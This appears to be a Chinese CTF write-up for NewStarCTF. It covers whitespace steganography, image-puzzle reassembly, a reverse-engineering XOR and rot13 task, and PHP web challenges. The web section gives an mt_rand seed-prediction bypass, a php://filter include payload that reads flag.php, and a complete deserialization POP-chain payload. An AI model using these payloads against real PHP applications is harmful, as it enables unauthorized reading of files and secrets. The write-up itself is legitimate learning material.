额。。又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路。。。。
CRYPTO
一个还没做出来,还正在研究
MISC
Yesec no drumsticks 2
感觉这个内容已经有点提示的味道了,内心莫,肯定是藏在你看不到的地方。
我怀疑这个出题人是写小说的,这么会写,不过像这种没有什么东西,可以尝试空白符,空白符解密
这不就来了吗,base64解密得到flag
Coldwinds's Desktop
给了一个文件夹里面都是这种碎片,应该是拼图,先看看有多少张小图片,我算了一下,114张,每张小图片的像素为30*30,下面有用。
把文件夹放到kali中,需要
没有的这个命令的自己下
apt-get install graphicsmagick-imagemagick-compat
要到有小碎片的目录下面*.PNG代表当前目录中所有PNG图片,12x12用到了,就是有144个小图片,生成图片交flag.png
montage *.PNG -tile 12x12 -geometry +0+0 flag.png
接下来就可以在这个目录中找到生成的图片了
移到桌面吧,不容易出错
接下来用到gaps命令,没有自己下
git clone https://github.com/nemanja-m/gaps.git #gaps官网
cd gaps
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .
pip install -r requirements.txt这一步经常有人出错,给大家总结一下原因
1.没有这些模块,numpy 、opencv-python 、matplotlib 、pytest 、 pillow需要大家自己下
2.requirements.txt中对应的版本不对
解决:
哪些模块吗,自己下一下,用pip下载就行
版本号一定要很详细,使用命令pip list查看自己模块的版本
在vim requirements.txt修改版本号就行了
这是我的版本,大家不要和抄我的,要看自己的版本。。。。。
命令这么用
gaps --image=flag.png --size=30 --population=144 --generations=64 --save
flag.png一定要在当前目录下面,30用到了,代表每一个小碎片的大小,144是代表有144个小图片,64那个不用管自己可以随便改的,--save恢复
这是我的图片还不是很明显,大家可以改那个64来获取不同的图片,来补满自己的flag就行了
REVERSE
前可见古人,后得见来者
就会这一个。。。。。。
32位的,没有壳
这里提醒大家这个是用,ida7.7版本的,不同版本看到的东西不一样。。。。。。。。
接下来用32位打开
先找main函数
shift+F12先看一下
这里好像有关于flag的信息,去看一下
随便点两下,然后来到这
按F5
这是他的一个运行,我们找一下他的加密在哪
sub_4113DE点进去再点进去
我们知道这里加密有两个for,而且这两个for是在相同级别的,所以上面那个for太麻烦了,我们看下嘛这个他进行了一个异或的操作和0x22这u应该没关系
我们找一下密文进行操作一下
这里还有点a,得到完整的密文
shift+e提取出来
浅浅解一下
这一串熟不熟悉,rot13就行或者凯撒也行
WEB
Word-For-You(2 Gen)
sqlmap一把梭,欧克欧克
IncludeOne
我感觉这个挺简单的其实,还给了工具
先看代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
获取种子,来找下一个随机值
像这样都试试莫
得到了1202031004,post传就行
看看下一个
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file']))
过滤了base,必须有NewStar,file不能为空
挺简单的
PHP://filter/read=string.rot13|NewStar|/resource=flag.php
然后看源代码
得到flag,需要rot13解密
UnserializeOne
代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
我的思路是Start的__destruct()调用Sec的__toString(),__toString()调用Easy的__call(),__call()复制调用eeee的__clone(),__clone()的isset调用Start的__isset,__isset调用Sec的__invoke获取flag
这么写
<?php
class Start
{
public $name;
public $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec
{
public $obj;
public $var;
public function __construct($a, $b)
{
$this->obj=$a;
$this->var=$b;
}
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo "afdfdsaf";
}
}
class Easy
{
public $cla;
public function __call($fun, $var)
{
echo $this->cla = clone $var[0];
}
}
class eeee
{
public $obj;
public function __clone()
{
if (isset($this->obj->cmd)) {
echo "success";
}
}
}
$a=new Start();
$b=new Easy();
$c=new eeee();
$c->obj=$a;
$d=new Sec($b, $c);
$a->name=$d;
$a->func=$d;
echo serialize($a);
我这里设置了一个这个,只要到这输出了这一串,就肯定可以执行那个
payload: pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}